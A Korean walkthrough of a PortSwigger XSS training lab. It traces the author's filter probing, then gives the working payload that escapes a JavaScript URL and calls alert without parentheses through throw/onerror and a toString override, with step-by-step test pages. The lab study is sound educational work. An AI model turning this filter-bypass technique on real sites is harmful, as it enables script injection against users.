개요

  • 취약점 설명 주소: https://portswigger.net/web-security/cross-site-scripting/contexts#xss-into-javascript
  • 문제 주소: https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked
  • 난이도: EXPERT (어려움)

취약점 설명

일부 웹사이트는 사용할 수 있는 문자를 제한하여 XSS를 더 어렵게 만든다. 이 필터링은 웹사이트 혹은 WAF에서 수행될 수 있다. 이러한 상황에서 공격자는 이러한 보안 조치를 우회하는 함수를 호출하는 다른 방법을 실험해야 한다. 이를 수행하는 한 가지 방법은 throw 문과 함께 예외 핸들러를 사용하는 것이다. 이를 통해 괄호를 사용하지 않고도 함수에 파라메터를 전달할 수 있다. 다음 코드는 alert()함수를 전역 예외 핸들러에 할당하고 throw 명령문으로 예외 핸들러에 1을 전달한다. 결과적으로 alert(1);이 수행된다.

onerror=alert;throw 1

이 테크닉을 사용하여 괄호 없이 함수를 호출하는 방법은 여러 가지가 있다.

다음 랩은 특정 문자를 필터링하는 웹사이트를 보여준다. 랩을 풀려면 위에 설명된 것과 비슷한 테크닉을 사용해야 한다.

랩 설명

  • 이 랩은 JavaScript URL에 입력 내용을 반영하지만, 모든 것이 보이는 대로는 아니다.
  • 애플리케이션은 XSS 공격을 방지하기 위해 일부 문자를 차단하고 있다.
  • 랩을 풀려면 XSS공격을 수행해서 문자열”1337”이 포함된 메세지를 출력하는 alert창을 호출하라.
This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.

To solve the lab, perform a cross-site scripting attack that calls the alert function with the string 1337 contained somewhere in the alert message.

도전

  1. 일단 랩을 살펴본다. 취약점이 있어보이는 곳을 찾는다. 블로그 포스트의 되돌아가기 버튼 부분이 수상하다.

다음과 같은 코드로 되어 있다. 현재보고 있는 블로그글의 URL이 Javascript에 들어가 있다. URL에 XSS에 사용되는 특수문자가 있으면 이스케이프될지로 모른다.

<div class="is-linkback">
    <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>
  1. 공격에 사용 가능한 특수 문자가 있는지 테스트해본다. postId의 값이 존재하지 않는 글번호를 지정하면 HTML페이지가 응답되지 않으므로 postId=2&"'/>와 같은 식으로 &를 붙여서 다른 파라메터로 인식되도록 해서 테스트해보았다. (전체적인 URL은 https://{LAB-ID}.web-security-academy.net/post?postId=2&%22%27/%3E이다. )

결과는 다음과 같았다. 다음을 알 수 있다.

  • 작은 따옴표와 꺽쇠는 URL 인코딩된다. ('=>%27, > => %3e)
  • 쌍따옴표와 슬래시는 별다른 처리없이 삽입된다.

  1. 페이로드에 alert함수를 붙여서 postId=2&"'/>alert(1);로 테스트해본다. 결과는 다음과 같다. alert함수앞에 필요없는 부분이 있어서 발동하지 않는 것으로 보인다.

  1. postId=2&"onerror="alert(1)"로 테스트해보았다. 결과는 다음과 같다.

<div class="is-linkback">
    <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2%26"onerror%3d"alert1"'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>

다음을 알 수 있다.

  • =가 URL인코드 처리되었다.
  • 괄호(())가 사라졌다.(공백으로 바꼈다.)

  1. 뭔가 다른 접근법이 필요하다.

정답

정답을 보고 시도해보았다.

https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27 로 접근하면 랩이 풀린다.

무슨 원리일까?

일단 위의 URL로 접근했을 때의 HTML페이지의 코드는 다음과 같다.

<div class="is-linkback">
    <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27'}).finally(_ => window.location = '/')">Back to Blog</a>
</div>

그리고 Back to Blog 버튼을 누르면 다음과 같이 “Uncaught 1337”이라는 문자열이 포함된 alert창이 뜬다.

랩이 풀렸다는 메세지가 표시된다.

보충설명

아직 잘 이해가 되지 않는다. 이 랩을 설명하는 유튜브 영상이 있다. 여기를 보면 상세히 과정을 설명해주고 있다. 매우 도움이 된다.

https://youtu.be/bCpBD–GCtQ

URL 디코딩 후 페이로드를 확인

일단 페이로드를 URL 디코딩해보자. 다음과 같다.

'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'

일단 주석 부분(/**/)은 스페이스 대신에 들어간 것으로 생각할 수 있다. 이 페이로드에서 중요한 부분은 x=x=>{throw/**/onerror=alert,1337},toString=x,window+'' 다. 나머지 부분은 에러를 나게 하지 않기 위해 붙여준 부분이다. 페이로드를 HTML 문서로 만들어서 하나씩 실행해가면서 분석해보자.

테스트1: Javascript throw문

다음 코드를 html 파일로 저장한 후에 웹 브라우저로 열어본다.

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study1</h1>

<!-- 테스트1: Javascript throw문 -->
<script>

throw 1337;

</script>

확인결과: 개발자 도구로 콘솔을 확인하면 에러가 출력되어 있다.

테스트2: throw와 콤마를 같이 사용하면 어떻게 되는가?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study2</h1>

<!-- 테스트2: throw와 콤마를 같이 사용하면 어떻게 되는가? -->
<script>

throw 1337, 1338;

</script>

확인결과: 뒤의 것만 출력된다.

테스트3: throw에서 변수를 사용가능한가?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study3</h1>

<!-- 테스트3: throw에서 변수를 사용가능한가? -->
<script>
let myVar = 1;
throw 1337, myVar;

</script>

확인결과: 가능하다.

테스트4: throw에서 변수에 값 설정이 가능한가?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study4</h1>

<!-- 테스트4: throw에서 변수에 값 설정이 가능한가? -->
<script>
let myVar = 1;
throw myVar=1337, myVar;

</script>

확인결과: 가능하다.

테스트5: throw onerror 분석

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study5</h1>

<!-- 테스트5: throw onerror의 의미는? -->
<script>
throw onerror=alert, 1337;

</script>

확인결과: alert창이 떴다.

  • 위의 코드는 Javascript의 기본핸들러 onerror의 동작을 alert함수로 덮어쓴 것이라는 것을 알 수 있다.
  • 그리고 두 번째 파라메터가 alert 함수의 파라메터로 전달된다는 것을 알 수 있다.
  • 또한, alert창을 확인하면 콘솔에도 이전 테스트와 같이 에러메세지가 출력된다.

테스트6: x=x 코드의 의미는?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study6</h1>

<!-- 테스트6: x=x 코드의 의미는? -->
<script>
let x = x => {
    throw onerror=alert, 1337;
}

x();
</script>

확인결과: 동일하게 alert창이 떴다.

  • x= x => {} 는 x = (x) => {} 와 같았다.
  • 첫번째 x는 함수의 이름이다.
  • 두번째 x는 함수파라메터다.

테스트7: toString=x 의 의미는?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study7</h1>

<!-- 테스트7: toString=x 의 의미는? -->
<!-- 확인결과: -->
<script>
let x = x => {
    throw onerror=alert, 1337;
}

toString = x;

toString();
</script>

확인결과: 동일하게 alert창이 떴다.

  • toString=x는 toString 함수를 덮어쓴 것이라는 것을 알 수 있다.
  • (toString 함수를 호출하면 x가 실행된다.)

테스트8: window+’‘의 의미는?

본래 Javascript의 window 오브젝트는 문자열이 아닐 것이다. 여기에 공백문자 ''를 더해주면 어떻게 되는걸까?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study8</h1>

<!-- 테스트8: window+'' 의 의미는? -->
<!-- 확인결과: toString함수를 트리거하기 위함이었다.-->

<script>
let x = x => {
    throw onerror=alert, 1337;
}

toString = x;

window + '';
</script>

확인결과: 동일하게 alert창이 떴다.

  • 코드 window+'' 는 window오브젝트에 공백문자열을 붙여줌으로써 toString함수를 발동시키기 위함인 것을 알 수 있었다.

테스트 9: 어떤 함수의 파라메터를 마음대로 여러개 지정가능한가? 그리고 파라메터에 실행문(statement)을 넣으면 어떻게 되는가?

예를 들어 다음과 같은 코드가 있다. myFunc는 파라메터 두 개를 받는 함수다. 하단의 콘솔에서는 myFunc에 정의된 파라메터 이 후에 다른 파라메터를 여러개 넘겨주고 있다. 이를 실행시키면 어떤 결과가 나올까?

<h1>Reflected XSS in a JavaScript URL with some characters blocked - Payload Study9</h1>

<!-- 테스트9: 어떤 함수의 파라메터를 마음대로 여러개 지정가능한가? 그리고 파라메터에 실행문(statement)을 넣으면 어떻게 되는가? -->
<script>
let myVar = 1;
function myFunc(a, b){
    return a + b;
}

console.log(myFunc(1, 2, 3, 4, myVar=10, 6));
console.log(myVar);
</script>

확인결과: myFunc 함수의 실행결과는 3이다. myFunc 함수에 정의된 대로 첫번째와 두번째 파라메터만 받아서 실행한다. 재밌는 것은 myVar의 결과이다. myFunc함수에 파라메터로 넘겨준 실행문(myVar=10)이 실행된 것을 알 수 있다. 이 것으로 다음 두 가지를 알 수 있다.

  • 함수에 정의되지 않은 파라메터라도 전달이 가능하다.
  • 함수에 전달된 파라메터는 “실행”된다.(혹은 평가(evaluate)된다.)

파라메터 분석 최종

여기까지 이해한 뒤에 다시 페이로드가 삽입된 모습을 보면 안보였던 게 보인다.

  <a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27'}).finally(_ => window.location = '/')">Back to Blog</a>

URL 디코딩한 모습

  • 페이로드의 처음 부분 '},는 fetch 함수의 두 번째 파라메터를 분리해주기 위함이었다.
  • x=x...부분은 fetch 함수의 세번째 파라메터이며, 에러가 발생했을 때 alert(1337)을 실행하는 코드를 정의하고 있다.
  • toString=x는 fetch 함수의 네번째 파라메터이며, toString함수의 동작을 덮어쓴다.
  • window+''는 fetch 함수의 다섯번째 파라메터이며, window오브젝트에 공백 문자열을 붙임으로서 toString함수를 발송시킨다.
  • 페이로드의 마지막 부분 {x:'는 원래 있던 부분 '}와 짝을 맞춰주어 문법에러가 발생하지 않도록 해주기 위함이다.
javascript:fetch('/analytics', {method:'post',body:'/post?postId=2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:''}).finally(_ => window.location = '/')

참고

  • 이 취약점에 대한 PortSwigger의 Gareth Heyes씨의 기술문서: https://portswigger.net/research/xss-without-parentheses-and-semi-colons